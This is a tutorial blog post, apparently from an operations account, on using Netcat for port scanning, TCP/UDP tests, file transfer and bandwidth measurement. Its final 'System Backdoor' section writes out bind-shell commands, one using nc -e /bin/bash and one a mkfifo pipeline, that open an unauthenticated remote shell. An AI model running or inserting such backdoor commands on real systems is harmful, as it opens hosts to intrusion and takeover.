Master Netcat: Powerful TCP/UDP Tricks for Network Testing and File Transfer
This guide explains how to use Netcat—a lightweight, versatile TCP/UDP utility installed on most Linux distributions—for port scanning, connectivity checks, UDP sessions, file transfers, bandwidth measurement, and even creating simple backdoors, while highlighting differences between GNU and OpenBSD versions.
Netcat is often called the Swiss army knife of TCP/IP because of its tiny size (about 200 KB) and flexible functionality; it is installed by default on many Linux distributions and can be used for a wide range of network tasks.
The original author, a user nicknamed “Hobbit,” released Netcat in 1995 on UNIX as source code. The two main POSIX variants are the GNU version and the OpenBSD version, both installable on Debian/Ubuntu, while Windows only provides a GNU port.
To determine which version is present, run:
<code>readlink -f $(which nc)</code>The result is typically one of the following:
/bin/nc.traditional: the default GNU‑based version.
/bin/nc.openbsd: the more powerful OpenBSD version.
Both can be installed explicitly:
<code>apt-get install nc-traditional</code> <code>apt-get install nc-openbsd</code>Port Testing
To check whether a TCP service on host A (192.168.1.2) port 8080 is reachable, you can use Telnet or, more conveniently, Netcat:
<code>nc -vz 192.168.1.2 8080</code>The
-vflag makes the output verbose and
-ztells Netcat to scan without sending data. To scan a range of ports:
<code>nc -v -v -w3 -z 192.168.1.2 8080-8083</code> -w3sets a 3‑second timeout.
Transmission Test
On host A, start a listener:
<code>nc -l -p 8080</code>On host B, connect to it:
<code>nc 192.168.1.2 8080</code>Both sides can now exchange text. The OpenBSD version allows the
-lflag without
-p(i.e.,
nc -l 8080), but the GNU version requires both. Newer versions keep the connection open after EOF; older versions close automatically. Use
-k(OpenBSD) for a persistent server, or
-N(OpenBSD) /
-q0(GNU) to close when stdin reaches EOF.
UDP Session Test
On host A, listen on UDP port 8080:
<code>nc -u -l -p 8080</code>On host B, send data:
<code>nc -u 192.168.1.2 8080</code>Enter messages on either side; they will appear on the other, allowing you to verify UDP reachability.
File Transfer
On the receiving host (A):
<code>nc -l -p 8080 > image.jpg</code>On the sending host (B):
<code>nc 192.168.1.2 8080 < image.jpg</code>For automatic termination after the file ends, use
-N(OpenBSD) or
-q0(GNU):
<code>/bin/nc.openbsd -N 192.168.1.2 8080 < image.jpg</code> <code>/bin/nc.traditional -q0 192.168.1.2 8080 < image.jpg</code>Bandwidth Throughput Test
Server side (A) with verbose output:
<code>/bin/nc.traditional -v -v -n -l -p 8080 > /dev/null</code>Client side (B) sending zero bytes:
<code>time nc -n 192.168.1.2 8080 < /dev/zero</code>Alternatively, combine
ddwith Netcat:
<code>dd if=/dev/zero bs=1M count=100 | /bin/nc.openbsd -n -N 192.168.1.2 8080</code>For more precise measurement, pipe through
pv:
<code>nc -l -p 8080 | pv</code> <code>nc 192.168.1.2 8080 < /dev/zero</code>The
pvoutput shows real‑time bandwidth, e.g., “353MiB 0:00:15 [22.4MiB/s]”.
System Backdoor
GNU Netcat can execute a program after a connection is established using
-e:
<code>/bin/nc.traditional -l -p 8080 -e /bin/bash</code>Connecting from another host gives a remote shell. The OpenBSD version removed
-e, but the same effect can be achieved with a FIFO:
<code>mkfifo /tmp/f
cat /tmp/f | /bin/bash 2>&1 | /bin/nc.openbsd -l -p 8080 > /tmp/f</code>After use, delete the FIFO file.
Conclusion
Netcat enables raw TCP/UDP listening, connecting, and data transfer directly from the command line. By combining it with pipelines, you can perform advanced network diagnostics, file transfers, bandwidth tests, and even simple backdoors without installing additional software.
Efficient Ops
This public account is maintained by Xiaotianguo and friends, regularly publishing widely-read original technical articles. We focus on operations transformation and accompany you throughout your operations career, growing together happily.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.